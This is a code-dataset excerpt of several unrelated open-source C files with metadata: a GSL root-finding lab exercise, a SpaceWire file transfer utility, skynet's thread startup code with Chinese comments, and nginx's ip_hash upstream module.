"content_id": "6fea89f7cc914e33bf8156c9c4f99c3c29bfe9bc",
"detected_licenses": [
"MIT"
],
"directory_id": "38f3c258ca45c50180ed0eaed5d1540d6c95a50b",
"extension": "c",
"filename": "zad3.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 178924705,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2470,
"license": "MIT",
"license_type": "permissive",
"path": "/lab5/zad3.c",
"provenance": "stackv2-0123.json.gz:1619",
"repo_name": "mistyfiky/agh-mownit",
"revision_date": "2019-05-10T23:43:10",
"revision_id": "d88c21308b863942497c111d044e359ce220d421",
"snapshot_id": "769aa0d45f51bc49b16b17ef94c0819f25bed005",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mistyfiky/agh-mownit/d88c21308b863942497c111d044e359ce220d421/lab5/zad3.c",
"visit_date": "2020-05-04T04:37:12.133258"
} | stackv2 | #include <stdio.h>
#include <gsl/gsl_errno.h>
#include <gsl/gsl_math.h>
#include <gsl/gsl_roots.h>
#include <string.h>
struct quadratic_params
{
double a, b, c;
};
double
quadratic (double x, void *params)
{
struct quadratic_params *p
= (struct quadratic_params *) params;
double a = p->a;
double b = p->b;
double c = p->c;
return (a * x + b) * x + c;
}
double
quadratic_deriv (double x, void *params)
{
struct quadratic_params *p
= (struct quadratic_params *) params;
double a = p->a;
double b = p->b;
return 2.0 * a * x + b;
}
void
quadratic_fdf (double x, void *params,
double *y, double *dy)
{
struct quadratic_params *p
= (struct quadratic_params *) params;
double a = p->a;
double b = p->b;
double c = p->c;
*y = (a * x + b) * x + c;
*dy = 2.0 * a * x + b;
}
int
main (int argc, char *argv[])
{
int status;
int iter = 0, max_iter = 100;
const gsl_root_fdfsolver_type *T;
gsl_root_fdfsolver *s;
double x0, x = 5.0, r_expected = sqrt (5.0);
gsl_function_fdf FDF;
struct quadratic_params params = {1.0, -2.0, 1.0};
FDF.f = &quadratic;
FDF.df = &quadratic_deriv;
FDF.fdf = &quadratic_fdf;
FDF.params = ¶ms;
if (argc < 2) {
errno = EINVAL;
perror("");
return errno;
}
char *method = argv[1];
if (0 == strcmp("newton", method)) {
T = gsl_root_fdfsolver_newton;
} else if (0 == strcmp("secant", method)) {
T = gsl_root_fdfsolver_secant;
} else if (0 == strcmp("steffenson", method)) {
T = gsl_root_fdfsolver_steffenson;
} else {
errno = EINVAL;
perror("");
return errno;
}
s = gsl_root_fdfsolver_alloc (T);
gsl_root_fdfsolver_set (s, &FDF, x);
printf ("using %s method\n",
gsl_root_fdfsolver_name (s));
printf ("%-5s %10s %10s %10s\n",
"iter", "root", "err", "err(est)");
do
{
iter++;
status = gsl_root_fdfsolver_iterate (s);
x0 = x;
x = gsl_root_fdfsolver_root (s);
status = gsl_root_test_delta (x, x0, 0, 1e-3);
if (status == GSL_SUCCESS)
printf ("Converged:\n");
printf ("%5d %10.7f %+10.7f %10.7f\n",
iter, x, x - r_expected, x - x0);
}
while (status == GSL_CONTINUE && iter < max_iter);
gsl_root_fdfsolver_free (s);
return status;
}
| 2.6875 | 3 |
2024-11-18T22:21:45.183881+00:00 | 2023-04-03T15:12:27 | 725d77c401a7a9a7d9994c0971255cbd7073f17e | {
"blob_id": "725d77c401a7a9a7d9994c0971255cbd7073f17e",
"branch_name": "refs/heads/master",
"committer_date": "2023-04-03T16:58:57",
"content_id": "d1a93946ed061bfcb42f6799b128ced68e041e59",
"detected_licenses": [
"MIT"
],
"directory_id": "dc41882e2d8a99e712a73e8faaf625c2f3c0e08d",
"extension": "c",
"filename": "swic-xfer.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 210584828,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7022,
"license": "MIT",
"license_type": "permissive",
"path": "/swic-xfer.c",
"provenance": "stackv2-0123.json.gz:2137",
"repo_name": "elvees/mcom02-swic-tools",
"revision_date": "2023-04-03T15:12:27",
"revision_id": "f6df781b7a8e0fe5df7f6483a6b682b9eab34035",
"snapshot_id": "d61b6a65d86bec73822a4055f4e95373d3650f3f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/elvees/mcom02-swic-tools/f6df781b7a8e0fe5df7f6483a6b682b9eab34035/swic-xfer.c",
"visit_date": "2023-04-15T07:46:37.700877"
} | stackv2 | /*
* Tool to send/receive file via SpaceWire interface on ELVEES MCom-02 SoC
*
* Copyright 2019 RnD Center "ELVEES", JSC
*
* SPDX-License-Identifier: MIT
*/
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
#include <linux/elvees-swic.h>
#define print_verbose(fmt, arg...) if (verbose) printf(fmt, ##arg)
struct elvees_swic_speed speed;
int packets = -1;
int verbose = 0;
enum operation_type {
SWIC_WRITE,
SWIC_READ
};
static void swic_write(int fd, FILE *file)
{
ssize_t written, transmitted = 0;
struct timespec start, stop;
uint64_t elapsed_time = 0;
size_t bytes;
int mtu;
if (ioctl(fd, SWICIOC_GET_MTU, &mtu))
error(EXIT_FAILURE, errno, "%s: Failed to get MTU", __func__);
void *tx_data = malloc(mtu);
if (!tx_data)
error(EXIT_FAILURE, 0, "%s: Failed to allocate memory", __func__);
while (!feof(file)) {
bytes = fread(tx_data, 1, mtu, file);
if (ferror(file))
error(EXIT_FAILURE, errno, "Failed to read data from file");
if (bytes == 0)
break;
clock_gettime(CLOCK_MONOTONIC, &start);
written = write(fd, tx_data, bytes);
clock_gettime(CLOCK_MONOTONIC, &stop);
if (errno == ENOLINK)
error(EXIT_FAILURE, errno, "%s: Link is not set", __func__);
else if (written != bytes)
error(EXIT_FAILURE, 0, "Failed to write data to device");
transmitted += written;
elapsed_time += (stop.tv_sec * 1000000 + stop.tv_nsec / 1000) -
(start.tv_sec * 1000000 + start.tv_nsec / 1000);
if (packets != -1 && --packets == 0)
break;
}
if (ioctl(fd, SWICIOC_GET_SPEED, &speed))
error(EXIT_FAILURE, errno, "%s: Failed to get device speed", __func__);
print_verbose("Tranmitter TX speed: %.1f Mbit/s\n", speed.tx / 1000.0);
print_verbose("Tranmitter RX speed: %.1f Mbit/s\n", speed.rx / 1000.0);
print_verbose("MTU (packet size): %d bytes\n", mtu);
print_verbose("Transfered data size: %d bytes\n", transmitted);
print_verbose("Transfered elapsed time: %f s\n", (double)elapsed_time / 1000000);
print_verbose("Throughput of transmit: %f Mbit/s\n",
8 * (double)transmitted / (double)elapsed_time);
free(tx_data);
}
static void swic_read(int fd, FILE *file)
{
ssize_t read_bytes, sum_bytes = 0;
struct timespec start, stop;
uint64_t elapsed_time = 0;
size_t written = 0;
void *rx_data = malloc(ELVEES_SWIC_MAX_PACKET_SIZE);
if (!rx_data)
error(EXIT_FAILURE, 0, "%s: Failed to allocate memory", __func__);
while (1) {
clock_gettime(CLOCK_MONOTONIC, &start);
read_bytes = read(fd, rx_data, ELVEES_SWIC_MAX_PACKET_SIZE);
clock_gettime(CLOCK_MONOTONIC, &stop);
sum_bytes += read_bytes;
elapsed_time += (stop.tv_sec * 1000000 + stop.tv_nsec / 1000) -
(start.tv_sec * 1000000 + start.tv_nsec / 1000);
if (errno == ENOLINK)
error(EXIT_FAILURE, errno, "%s: Link is not set", __func__);
else if (read_bytes == 0)
error(EXIT_FAILURE, errno, "Failed to read data from device");
written = fwrite(rx_data, 1, read_bytes, file);
fflush(file);
if (written != read_bytes)
error(EXIT_FAILURE, errno, "Failed to write data to file");
if (packets != -1 && --packets == 0)
break;
}
if (ioctl(fd, SWICIOC_GET_SPEED, &speed))
error(EXIT_FAILURE, errno, "%s: Failed to get device speed", __func__);
print_verbose("Receiver TX speed: %.1f Mbit/s\n", speed.tx / 1000.0);
print_verbose("Receiver RX speed: %.1f Mbit/s\n", speed.rx / 1000.0);
print_verbose("Received data size: %d bytes\n", sum_bytes);
print_verbose("Received elapsed time: %f s\n", (double)elapsed_time / 1000000);
print_verbose("Throughput of receive: %f Mbit/s\n",
8 * (double)sum_bytes / (double)elapsed_time);
free(rx_data);
}
static void help(const char *program_name)
{
printf("Usage: %s device operation [options]\n", program_name);
printf("Send/receive a file via SpaceWire interface\n\n");
puts("Arguments:");
puts(" device SpaceWire device to be used");
puts(" operation Operation: 's' for sending, 'r' for receiving\n");
puts("Options:");
puts(" -f arg filename");
puts(" -n arg number of packets");
puts(" -v print verbose");
}
int main(int argc, char* argv[]) {
const char *device = NULL;
const char *filename = NULL;
struct timespec start, stop;
uint64_t total_time = 0;
struct stat filestatus;
int opt;
clock_gettime(CLOCK_MONOTONIC, &start);
while ((opt = getopt(argc, argv, "f:hn:v")) != -1) {
switch (opt) {
case 'f': filename = optarg; break;
case 'h': help(argv[0]); return EXIT_SUCCESS;
case 'n': packets = atoi(optarg); break;
case 'v': verbose++; break;
default: error(EXIT_FAILURE, 0, "Try %s -h for help.", argv[0]);
}
}
if (argc < optind + 2)
error(EXIT_FAILURE, 0, "Not enough arguments");
if (stat(argv[optind], &filestatus) == -1)
error(EXIT_FAILURE, errno, "Failed to get file status");
if ((filestatus.st_mode & S_IFMT) == S_IFCHR)
device = argv[optind];
else
error(EXIT_FAILURE, 0, "Unsupported device type");
enum operation_type optype = SWIC_WRITE;
if (!strcmp(argv[optind + 1], "s"))
optype = SWIC_WRITE;
else if (!strcmp(argv[optind + 1], "r"))
optype = SWIC_READ;
else
error(EXIT_FAILURE, 0, "Incorrect operation type");
FILE *file = (optype == SWIC_WRITE) ? stdin : stdout;
if (filename) {
char *filemode = (optype == SWIC_WRITE) ? "rb" : "wb";
file = fopen(filename, filemode);
if (!file)
error(EXIT_FAILURE, errno, "Failed to open %s file", filename);
}
int fd = open(device, O_RDWR);
if (fd < 0)
error(EXIT_FAILURE, errno, "Failed to open %s device", device);
if (optype == SWIC_WRITE) {
print_verbose("Transfer mode: transmitter\n");
print_verbose("Transmission device: %s\n", device);
swic_write(fd, file);
} else {
print_verbose("Transfer mode: receiver\n");
print_verbose("Receiving device: %s\n", device);
swic_read(fd, file);
}
clock_gettime(CLOCK_MONOTONIC, &stop);
total_time += (stop.tv_sec * 1000000 + stop.tv_nsec / 1000) -
(start.tv_sec * 1000000 + start.tv_nsec / 1000);
print_verbose("Total time: %f s\n", (double)total_time / 1000000);
close(fd);
fclose(file);
return EXIT_SUCCESS;
}
| 2.484375 | 2 |
2024-11-18T22:21:45.276919+00:00 | 2016-06-28T02:37:06 | 421d59bbd9ad416038986e3ee1baaa989acecb2f | {
"blob_id": "421d59bbd9ad416038986e3ee1baaa989acecb2f",
"branch_name": "refs/heads/master",
"committer_date": "2016-06-28T02:37:06",
"content_id": "4f003d486c540f09f28ab204c7680f087024626d",
"detected_licenses": [
"MIT"
],
"directory_id": "2a586af506f0e9f44429cf16940baf02bf786a97",
"extension": "c",
"filename": "skynet_start.c",
"fork_events_count": 2,
"gha_created_at": "2015-08-07T05:34:19",
"gha_event_created_at": "2015-08-07T05:34:20",
"gha_language": null,
"gha_license_id": null,
"github_id": 40343003,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 12162,
"license": "MIT",
"license_type": "permissive",
"path": "/skynet-src/skynet_start.c",
"provenance": "stackv2-0123.json.gz:2266",
"repo_name": "chuenlungwang/skynet",
"revision_date": "2016-06-28T02:37:06",
"revision_id": "771b4b9c52e1e1bae9d54f76b3d7f754d9389e4d",
"snapshot_id": "39b78276532d17e971ac41897ff7587c03f30290",
"src_encoding": "UTF-8",
"star_events_count": 18,
"url": "https://raw.githubusercontent.com/chuenlungwang/skynet/771b4b9c52e1e1bae9d54f76b3d7f754d9389e4d/skynet-src/skynet_start.c",
"visit_date": "2021-01-18T12:45:57.281783"
} | stackv2 | #include "skynet.h"
#include "skynet_server.h"
#include "skynet_imp.h"
#include "skynet_mq.h"
#include "skynet_handle.h"
#include "skynet_module.h"
#include "skynet_timer.h"
#include "skynet_monitor.h"
#include "skynet_socket.h"
#include "skynet_daemon.h"
#include "skynet_harbor.h"
#include <pthread.h>
#include <unistd.h>
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
/* 所有工作线程的总监视对象 */
struct monitor {
int count; /* 工作线程的数量 */
struct skynet_monitor ** m; /* 所有工作线程的死循环监控对象指针数组 */
pthread_cond_t cond; /* 唤醒工作线程的条件变量 */
pthread_mutex_t mutex; /* 与条件变量相关联的互斥锁 */
int sleep; /* 睡眠的工作线程数量 */
int quit; /* 是否退出工作线程的标记, 0 为不退出, 1 为退出 */
};
/* 调用工作线程函数的参数结构体 */
struct worker_parm {
struct monitor *m; /* 总监视对象指针 */
int id; /* 当前工作线程的编号 */
int weight; /* 权重值, 若为正数越大表示一次性处理的消息越少,
若为负数一次仅处理一条数据 */
};
static int SIG = 0;
static void
handle_hup(int signal) {
if (signal == SIGHUP) {
SIG = 1;
}
}
#define CHECK_ABORT if (skynet_context_total()==0) break;
/* 以默认属性创建线程, 新线程将执行 start_routine 函数, arg 为传递给该函数的参数.
* 如果创建失败将退出程序.*/
static void
create_thread(pthread_t *thread, void *(*start_routine) (void *), void *arg) {
if (pthread_create(thread,NULL, start_routine, arg)) {
fprintf(stderr, "Create thread failed");
exit(1);
}
}
/* 以 busy 为活跃线程的下限(至少为 busy+1), 唤醒任意一条工作线程. */
static void
wakeup(struct monitor *m, int busy) {
if (m->sleep >= m->count - busy) {
// signal sleep worker, "spurious wakeup" is harmless
pthread_cond_signal(&m->cond);
}
}
/* socket 线程函数, 在初始化之后以阻塞方式等待 socket 事件(包括对 socket 模块发送命令), 直到有明确退出信号或者
* 所有服务都已经退出. 此函数会保证至少有一条工作线程来处理到达的 socket 事件.
* 必须说明的是, 虽然 socket 线程以阻塞方式等待 socket 事件, 但 socket 连接上的读写都是非阻塞的. */
static void *
thread_socket(void *p) {
struct monitor * m = p;
skynet_initthread(THREAD_SOCKET);
for (;;) {
/* 阻塞等待 socket 事件, 如果没有 socket 事件线程将一直阻塞,
当返回值为 0 将退出此线程. 当返回值小于 0 表示信息不完整将检查服务状态,
当服务都退出时退出此线程, 否则继续轮询. 当返回大于 0 时, 确保至少
有一条工作线程来处理此消息. */
int r = skynet_socket_poll();
if (r==0)
break;
if (r<0) {
CHECK_ABORT
/* [ck]为何此处需要 continue, 从而跳过 wakeup?
* 当有大量连接时, 如果去唤醒工作线程, 将导致性能下降[/ck] */
continue;
}
wakeup(m,0);
}
return NULL;
}
/* 释放 struct monitor 对象, 执行一系列反初始化操作, 此函数将回收所有的 struct skynet_monitor 对象内存
* 及其指针数组的内存, 以及销毁条件变量和互斥锁, 并回收 struct monitor 对象本身的内存.
* 此函数只会在退出程序时运行一次. */
static void
free_monitor(struct monitor *m) {
int i;
int n = m->count;
for (i=0;i<n;i++) {
skynet_monitor_delete(m->m[i]);
}
pthread_mutex_destroy(&m->mutex);
pthread_cond_destroy(&m->cond);
skynet_free(m->m);
skynet_free(m);
}
/* 监控线程函数, 在初始化之后以 5 秒的间隔检查, 每次检查所有工作线程是否处于无限循环中. */
static void *
thread_monitor(void *p) {
struct monitor * m = p;
int i;
int n = m->count;
skynet_initthread(THREAD_MONITOR);
for (;;) {
/* 此处检查所有服务是否退出的原因是当内层循环由于 break 退出时会运行到此处. */
CHECK_ABORT
for (i=0;i<n;i++) {
skynet_monitor_check(m->m[i]);
}
for (i=0;i<5;i++) {
CHECK_ABORT
sleep(1);
}
}
return NULL;
}
static void
signal_hup() {
// make log file reopen
struct skynet_message smsg;
smsg.source = 0;
smsg.session = 0;
smsg.data = NULL;
smsg.sz = (size_t)PTYPE_SYSTEM << MESSAGE_TYPE_SHIFT;
uint32_t logger = skynet_handle_findname("logger");
if (logger) {
skynet_context_push(logger, &smsg);
}
}
/* 定时线程的函数, 在初始化之后以 2.5 毫秒的时间间隔更新定时器、触发定时事件、唤醒任意睡眠的工作线程
* 并且检查退出条件. 当退出时将通知 socket 线程和工作线程退出. */
static void *
thread_timer(void *p) {
struct monitor * m = p;
skynet_initthread(THREAD_TIMER);
for (;;) {
/* 每运行四次将会更新一次时间, 因为时间单位是厘秒, 而运行间隔是 2.5 毫秒 */
skynet_updatetime();
CHECK_ABORT
wakeup(m,m->count-1);
usleep(2500);
if (SIG) {
signal_hup();
SIG = 0;
}
}
/* socket 线程有可能在阻塞等待 socket 事件而无法检查退出条件, 故需要唤醒 */
// wakeup socket thread
skynet_socket_exit();
/* 工作线程有可能因为等待条件变量而阻塞, 故需要全部唤醒. */
// wakeup all worker thread
pthread_mutex_lock(&m->mutex);
/* 之所以将设置工作线程退出标记以及唤醒所有工作线程的工作放在同步块中执行,
是为了防止与工作线程的条件等待产生竞争. 若不如此, 有可能唤醒消息发出之后那瞬间工作线程刚好处于
条件等待之前, 这样工作线程就会错过唤醒消息而用于处于条件等待状态. */
m->quit = 1;
pthread_cond_broadcast(&m->cond);
pthread_mutex_unlock(&m->mutex);
return NULL;
}
/* 工作线程函数, 在初始化之后此函数在一个循环中每次依照自身的权重处理一条消息队列中的若干消息,
* 并返回下一条消息队列供下一次循环处理. 当没有消息队列需要处理时就增加睡眠工作线程数量
* 并以阻塞方式等待再次有需要处理的消息队列(实现为等待条件变量). 循环的退出条件是总监视对象的退出标记. */
static void *
thread_worker(void *p) {
struct worker_parm *wp = p;
int id = wp->id;
int weight = wp->weight;
struct monitor *m = wp->m;
struct skynet_monitor *sm = m->m[id];
skynet_initthread(THREAD_WORKER);
struct message_queue * q = NULL;
while (!m->quit) {
/* 处理 q 中的若干消息, 并返回下一条消息队列, 若没有了消息队列返回 NULL,
调用分发函数同时会触发相应的无限循环监视. */
q = skynet_context_message_dispatch(sm, q, weight);
if (q == NULL) {
if (pthread_mutex_lock(&m->mutex) == 0) {
++ m->sleep;
/* 此处必须检查退出标记, 若不检查, 一旦进入阻塞等待状态将永远无法被唤醒.
因为定时线程在设置完退出标记就退出了. */
// "spurious wakeup" is harmless,
// because skynet_context_message_dispatch() can be call at any time.
if (!m->quit)
pthread_cond_wait(&m->cond, &m->mutex);
-- m->sleep;
if (pthread_mutex_unlock(&m->mutex)) {
fprintf(stderr, "unlock mutex error");
exit(1);
}
}
}
}
return NULL;
}
/* 当 skynet 的初始化完毕时, 调用此函数启动监视线程、定时线程、socket 线程和工作线程开始处理消息.
* 只有当所有线程都停止工作之后, start 函数才会返回. 传入的参数为工作线程的数量. */
static void
start(int thread) {
pthread_t pid[thread+3];
/* 初始化总监控对象 */
struct monitor *m = skynet_malloc(sizeof(*m));
memset(m, 0, sizeof(*m));
m->count = thread;
m->sleep = 0;
/* 为每条工作线程分配一个监控对象, 并初始化互斥锁和条件变量 */
m->m = skynet_malloc(thread * sizeof(struct skynet_monitor *));
int i;
for (i=0;i<thread;i++) {
m->m[i] = skynet_monitor_new();
}
if (pthread_mutex_init(&m->mutex, NULL)) {
fprintf(stderr, "Init mutex error");
exit(1);
}
if (pthread_cond_init(&m->cond, NULL)) {
fprintf(stderr, "Init cond error");
exit(1);
}
/* 创建所有线程, 创建的先后顺序影响不大. */
create_thread(&pid[0], thread_monitor, m);
create_thread(&pid[1], thread_timer, m);
create_thread(&pid[2], thread_socket, m);
/* 权重值为负数每次处理消息队列中一条消息就转到下一条消息队列,
为 0 会将当前消息队列中所有消息处理掉, 1 则相应减半, 2 则为 1/4, 3 为 1/8.
将负值放在前面的好处在于所有消息队列均有机会被均衡执行, 而当线程更多时可以
让它们一次充分处理一条消息队列, 随着有更多线程再稳步递减一次处理的数量.
此方法能兼顾吞吐量和响应性. */
static int weight[] = {
-1, -1, -1, -1, 0, 0, 0, 0,
1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2, 2, 2, 2, 2,
3, 3, 3, 3, 3, 3, 3, 3, };
struct worker_parm wp[thread];
for (i=0;i<thread;i++) {
wp[i].m = m;
wp[i].id = i;
/* 确保当 thread 多于 weight 数组长度时不会溢出 */
if (i < sizeof(weight)/sizeof(weight[0])) {
wp[i].weight= weight[i];
} else {
wp[i].weight = 0;
}
create_thread(&pid[i+3], thread_worker, &wp[i]);
}
/* 等待上面所创建的线程退出, 也意味着整个系统退出. */
for (i=0;i<thread+3;i++) {
pthread_join(pid[i], NULL);
}
free_monitor(m);
}
/* 启动 skynet 的第二个服务,(第一个是日志服务) 此服务负责将所有其它服务启动起来.
* 此服务默认运行 bootstrap.lua脚本. 在失败时尽快将缓存的日志信息输出, 并退出进程. */
static void
bootstrap(struct skynet_context * logger, const char * cmdline) {
int sz = strlen(cmdline);
/* 保证有足够的长度即便是 cmdline 中间没有空格, 也能够容纳整个字符串. */
char name[sz+1];
char args[sz+1];
sscanf(cmdline, "%s %s", name, args);
struct skynet_context *ctx = skynet_context_new(name, args);
if (ctx == NULL) {
skynet_error(NULL, "Bootstrap error : %s\n", cmdline);
skynet_context_dispatchall(logger);
exit(1);
}
}
/* 依据配置对当前 skynet 节点启动. 首先依据配置将进程作为守护进程, 再对组件单例对象进行初始化,
* 然后启动日志服务, 随后默认执行脚本 bootstrap.lua 启动其它服务.
* 最后启动各种线程来完成工作, 其中任何一项工作发生错误都会导致进程退出.
* 当这些线程都退出时, 再退出 harbor 服务. 最后结束此守护进程(如果是的话) */
void
skynet_start(struct skynet_config * config) {
// register SIGHUP for log file reopen
struct sigaction sa;
sa.sa_handler = &handle_hup;
sa.sa_flags = SA_RESTART;
sigfillset(&sa.sa_mask);
sigaction(SIGHUP, &sa, NULL);
if (config->daemon) {
if (daemon_init(config->daemon)) {
exit(1);
}
}
/* 初始化各个组件单例对象 */
skynet_harbor_init(config->harbor);
skynet_handle_init(config->harbor);
skynet_mq_init();
skynet_module_init(config->module_path);
skynet_timer_init();
skynet_socket_init();
struct skynet_context *ctx = skynet_context_new(config->logservice, config->logger);
if (ctx == NULL) {
fprintf(stderr, "Can't launch %s service\n", config->logservice);
exit(1);
}
/* bootstrap 脚本完成其它所有的服务启动工作 */
bootstrap(ctx, config->bootstrap);
/* 启动线程来处理 socket 事件、定时任务和服务间发送的消息 */
start(config->thread);
/* [ck]虽然此时 socket 线程已经退出, 也不会再等待 socket 事件了,[/ck]
但是 struct socket_server 对象还没有被销毁, 依然可以给它发消息, 一旦此对象销毁了
而再向它发消息, 必然会导致段错误. */
// harbor_exit may call socket send, so it should exit before socket_free
skynet_harbor_exit();
skynet_socket_free();
if (config->daemon) {
daemon_exit(config->daemon);
}
}
| 2.515625 | 3 |
2024-11-18T22:21:45.344849+00:00 | 2022-04-04T11:28:06 | 9ea1df22172c01c53bf7b53906e0a88890900b26 | {
"blob_id": "9ea1df22172c01c53bf7b53906e0a88890900b26",
"branch_name": "refs/heads/master",
"committer_date": "2022-04-04T11:28:06",
"content_id": "100ea34dd04eee21b522565b56a68c45fd29d207",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "25e99a0af5751865bce1702ee85cc5c080b0715c",
"extension": "c",
"filename": "ngx_http_upstream_ip_hash_module.c",
"fork_events_count": 67,
"gha_created_at": "2015-05-09T02:04:40",
"gha_event_created_at": "2023-02-10T21:26:36",
"gha_language": "C",
"gha_license_id": null,
"github_id": 35311001,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 6295,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/debug/src/nginx-1.2.0-finstrument-functions/src/http/modules/ngx_http_upstream_ip_hash_module.c",
"provenance": "stackv2-0123.json.gz:2396",
"repo_name": "jasonblog/note",
"revision_date": "2022-04-04T11:28:06",
"revision_id": "4471f95736c60969a718d854cab929f06726280a",
"snapshot_id": "215837f6a08d07abe3e3d2be2e1f183e14aa4a30",
"src_encoding": "UTF-8",
"star_events_count": 130,
"url": "https://raw.githubusercontent.com/jasonblog/note/4471f95736c60969a718d854cab929f06726280a/debug/src/nginx-1.2.0-finstrument-functions/src/http/modules/ngx_http_upstream_ip_hash_module.c",
"visit_date": "2023-05-31T13:02:27.451743"
} | stackv2 |
/*
* Copyright (C) Igor Sysoev
* Copyright (C) Nginx, Inc.
*/
#include <ngx_config.h>
#include <ngx_core.h>
#include <ngx_http.h>
typedef struct {
/* the round robin data must be first */
ngx_http_upstream_rr_peer_data_t rrp;
ngx_uint_t hash;
u_char addr[3];
u_char tries;
ngx_event_get_peer_pt get_rr_peer;
} ngx_http_upstream_ip_hash_peer_data_t;
static ngx_int_t ngx_http_upstream_init_ip_hash_peer(ngx_http_request_t *r,
ngx_http_upstream_srv_conf_t *us);
static ngx_int_t ngx_http_upstream_get_ip_hash_peer(ngx_peer_connection_t *pc,
void *data);
static char *ngx_http_upstream_ip_hash(ngx_conf_t *cf, ngx_command_t *cmd,
void *conf);
static ngx_command_t ngx_http_upstream_ip_hash_commands[] = {
{ ngx_string("ip_hash"),
NGX_HTTP_UPS_CONF|NGX_CONF_NOARGS,
ngx_http_upstream_ip_hash,
0,
0,
NULL },
ngx_null_command
};
static ngx_http_module_t ngx_http_upstream_ip_hash_module_ctx = {
NULL, /* preconfiguration */
NULL, /* postconfiguration */
NULL, /* create main configuration */
NULL, /* init main configuration */
NULL, /* create server configuration */
NULL, /* merge server configuration */
NULL, /* create location configuration */
NULL /* merge location configuration */
};
ngx_module_t ngx_http_upstream_ip_hash_module = {
NGX_MODULE_V1,
&ngx_http_upstream_ip_hash_module_ctx, /* module context */
ngx_http_upstream_ip_hash_commands, /* module directives */
NGX_HTTP_MODULE, /* module type */
NULL, /* init master */
NULL, /* init module */
NULL, /* init process */
NULL, /* init thread */
NULL, /* exit thread */
NULL, /* exit process */
NULL, /* exit master */
NGX_MODULE_V1_PADDING
};
ngx_int_t
ngx_http_upstream_init_ip_hash(ngx_conf_t *cf, ngx_http_upstream_srv_conf_t *us)
{
if (ngx_http_upstream_init_round_robin(cf, us) != NGX_OK) {
return NGX_ERROR;
}
us->peer.init = ngx_http_upstream_init_ip_hash_peer;
return NGX_OK;
}
static ngx_int_t
ngx_http_upstream_init_ip_hash_peer(ngx_http_request_t *r,
ngx_http_upstream_srv_conf_t *us)
{
u_char *p;
struct sockaddr_in *sin;
ngx_http_upstream_ip_hash_peer_data_t *iphp;
iphp = ngx_palloc(r->pool, sizeof(ngx_http_upstream_ip_hash_peer_data_t));
if (iphp == NULL) {
return NGX_ERROR;
}
r->upstream->peer.data = &iphp->rrp;
if (ngx_http_upstream_init_round_robin_peer(r, us) != NGX_OK) {
return NGX_ERROR;
}
r->upstream->peer.get = ngx_http_upstream_get_ip_hash_peer;
/* AF_INET only */
if (r->connection->sockaddr->sa_family == AF_INET) {
sin = (struct sockaddr_in *) r->connection->sockaddr;
p = (u_char *) &sin->sin_addr.s_addr;
iphp->addr[0] = p[0];
iphp->addr[1] = p[1];
iphp->addr[2] = p[2];
} else {
iphp->addr[0] = 0;
iphp->addr[1] = 0;
iphp->addr[2] = 0;
}
iphp->hash = 89;
iphp->tries = 0;
iphp->get_rr_peer = ngx_http_upstream_get_round_robin_peer;
return NGX_OK;
}
static ngx_int_t
ngx_http_upstream_get_ip_hash_peer(ngx_peer_connection_t *pc, void *data)
{
ngx_http_upstream_ip_hash_peer_data_t *iphp = data;
time_t now;
uintptr_t m;
ngx_uint_t i, n, p, hash;
ngx_http_upstream_rr_peer_t *peer;
ngx_log_debug1(NGX_LOG_DEBUG_HTTP, pc->log, 0,
"get ip hash peer, try: %ui", pc->tries);
/* TODO: cached */
if (iphp->tries > 20 || iphp->rrp.peers->single) {
return iphp->get_rr_peer(pc, &iphp->rrp);
}
now = ngx_time();
pc->cached = 0;
pc->connection = NULL;
hash = iphp->hash;
for ( ;; ) {
for (i = 0; i < 3; i++) {
hash = (hash * 113 + iphp->addr[i]) % 6271;
}
p = hash % iphp->rrp.peers->number;
n = p / (8 * sizeof(uintptr_t));
m = (uintptr_t) 1 << p % (8 * sizeof(uintptr_t));
if (!(iphp->rrp.tried[n] & m)) {
ngx_log_debug2(NGX_LOG_DEBUG_HTTP, pc->log, 0,
"get ip hash peer, hash: %ui %04XA", p, m);
peer = &iphp->rrp.peers->peer[p];
/* ngx_lock_mutex(iphp->rrp.peers->mutex); */
if (!peer->down) {
if (peer->max_fails == 0 || peer->fails < peer->max_fails) {
break;
}
if (now - peer->checked > peer->fail_timeout) {
peer->checked = now;
break;
}
}
iphp->rrp.tried[n] |= m;
/* ngx_unlock_mutex(iphp->rrp.peers->mutex); */
pc->tries--;
}
if (++iphp->tries >= 20) {
return iphp->get_rr_peer(pc, &iphp->rrp);
}
}
iphp->rrp.current = p;
pc->sockaddr = peer->sockaddr;
pc->socklen = peer->socklen;
pc->name = &peer->name;
/* ngx_unlock_mutex(iphp->rrp.peers->mutex); */
iphp->rrp.tried[n] |= m;
iphp->hash = hash;
return NGX_OK;
}
static char *
ngx_http_upstream_ip_hash(ngx_conf_t *cf, ngx_command_t *cmd, void *conf)
{
ngx_http_upstream_srv_conf_t *uscf;
uscf = ngx_http_conf_get_module_srv_conf(cf, ngx_http_upstream_module);
uscf->peer.init_upstream = ngx_http_upstream_init_ip_hash;
uscf->flags = NGX_HTTP_UPSTREAM_CREATE
|NGX_HTTP_UPSTREAM_MAX_FAILS
|NGX_HTTP_UPSTREAM_FAIL_TIMEOUT
|NGX_HTTP_UPSTREAM_DOWN;
return NGX_CONF_OK;
}
| 2.046875 | 2 |
2024-11-18T22:21:45.473658+00:00 | 2021-06-04T21:40:45 | 60b30258e37baaa58027117e6309bfc36ae70d1e | {
"blob_id": "60b30258e37baaa58027117e6309bfc36ae70d1e",
"branch_name": "refs/heads/main",
"committer_date": "2021-06-04T21:40:45",
